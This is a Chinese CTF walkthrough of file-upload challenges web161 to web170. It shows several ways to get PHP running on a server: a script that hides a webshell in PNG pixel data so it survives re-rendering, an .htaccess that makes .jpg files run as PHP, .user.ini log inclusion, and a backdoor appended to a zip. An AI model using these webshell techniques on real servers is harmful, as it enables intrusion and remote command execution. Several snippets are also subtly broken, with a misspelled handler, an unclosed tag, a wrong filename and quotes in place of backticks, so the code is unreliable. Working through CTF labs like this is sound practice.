web161
这里我们发现不管上传什么都显示文件格式错误
这里通过测试可以用png的后缀,但要用GIF89a的文件头
先上传配置文件
使用伪协议来读取flag.php
base64解码可得flag
web162
这题把点给过滤了,这样伪协议以及日志包含就不能用了,可以远程文件包含
先上传配置文件
在远程包含一个文件,这里是看在视频里找到的,自己并没有服务器,当然我们虽然上传成功,但这个地址好像无效了,寄。
web163
这题同上
web164
这题我们上传ini失败
我们上传正常的图片,可以,然后查看图片,发现有一个疑似的图片包含点
我们用图片的二次渲染,让其包含php代码,且不影响图片的功能
我们通过脚本生成
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
这脚本生成的后门是用get方式传递system post传递命令
web165
上一题是png的二次渲染,这一题是jpg的二次渲染,我们将上传后的图片下载下来加入后门代码再上传即可,也可以用脚本生成。
web166
这题只能上传压缩包,我们在压缩包的末尾加上php后门,蚁剑连接即可
web167
提示httpd
.htaccess 文件是 Apache HTTP 服务器的目录级配置文件,它允许用户覆盖 Web 服务器的系统范围设置,而无需修改全局配置文件
我们先上传一个jpg文件,抓包,改为.htacess
文件内容为
<FilesMatch ".jpg">
SetHandler applicantion/x-httpd-php
<FilesMatch>
这个配置文件上传成功后会将.jpg文件作为php文件解析
然后我们用一句话木马写的jpg上传
然后即可读取flag.php
web168
提示:基础免杀
我们上传一个正常的文件,在后面添加php代码即可,这里应该是过滤了一些危险函数和关键字如eval等。
这里我们多尝试,发现短标签可信
<?='tac ../flagaa.php'?>
web169 170
这里把<给过滤了,我们php里没这不行,使用日志包含
首先上传一个index.php
在上传user.ini
auto_append_file=/var/log/nginx/access.log
再次访问发现日志已经包含